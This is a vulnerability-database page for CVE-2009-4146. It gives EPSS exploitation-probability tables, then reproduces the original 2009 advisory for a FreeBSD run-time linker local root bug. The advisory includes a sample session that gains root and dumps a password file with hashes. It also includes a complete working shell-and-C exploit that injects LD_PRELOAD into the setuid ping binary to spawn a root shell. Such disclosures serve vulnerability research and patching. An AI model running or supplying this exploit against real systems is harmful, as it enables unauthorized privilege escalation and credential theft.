CVE-2009-4146 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.1%	–	–
2022-02-27	–	–	1.1%	–	–
2022-04-03	–	–	1.1%	–	–
2022-04-10	–	–	1.1%	–	–
2022-07-03	–	–	1.1%	–	–
2022-09-25	–	–	1.1%	–	–
2023-02-19	–	–	1.1%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-26	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-25	–	–	–	0.06%	–
2025-03-18	–	–	–	–	17.98%
2025-03-18	–	–	–	–	17.98,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	29%
2022-02-27	3%
2022-04-03	5%
2022-04-10	51%
2022-07-03	52%
2022-09-25	53%
2023-02-19	54%
2023-03-12	6%
2024-02-11	5%
2024-06-02	5%
2024-06-02	5%
2024-12-22	26%
2025-01-19	26%
2025-01-26	27%
2025-01-19	26%
2025-01-25	27%
2025-03-18	95%
2025-03-18	95%

Discovered & Exploited by Nikolaos Rangos also known as Kingcope. Nov 2009 "BiG TiME" "Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg There is an unbelievable simple local r00t bug in recent FreeBSD versions. I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out. The bug resides in the Run-Time Link-Editor (rtld). Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like "ping" or "su". With a rather simple technique rtld can be tricked into accepting LD variables even on setugid binaries. See the attached exploit for details. Example exploiting session ********************************** %uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) groups=1001(users) %./w00t.sh FreeBSD local r00t zeroday by Kingcope November 2009 env.c: In function 'main': env.c:5: warning: incompatible implicit declaration of built-in function 'malloc' env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy' env.c:11: warning: incompatible implicit declaration of built-in function 'execl' /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users) # cat /etc/master.passwd # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $ # root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User &:/home/kcope:/bin/sh # Systems tested/affected ********************************** FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD 6.3-RELEASE *** NOT VULN FreeBSD 4.9-RELEASE *** NOT VULN *EXPLOIT* #!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env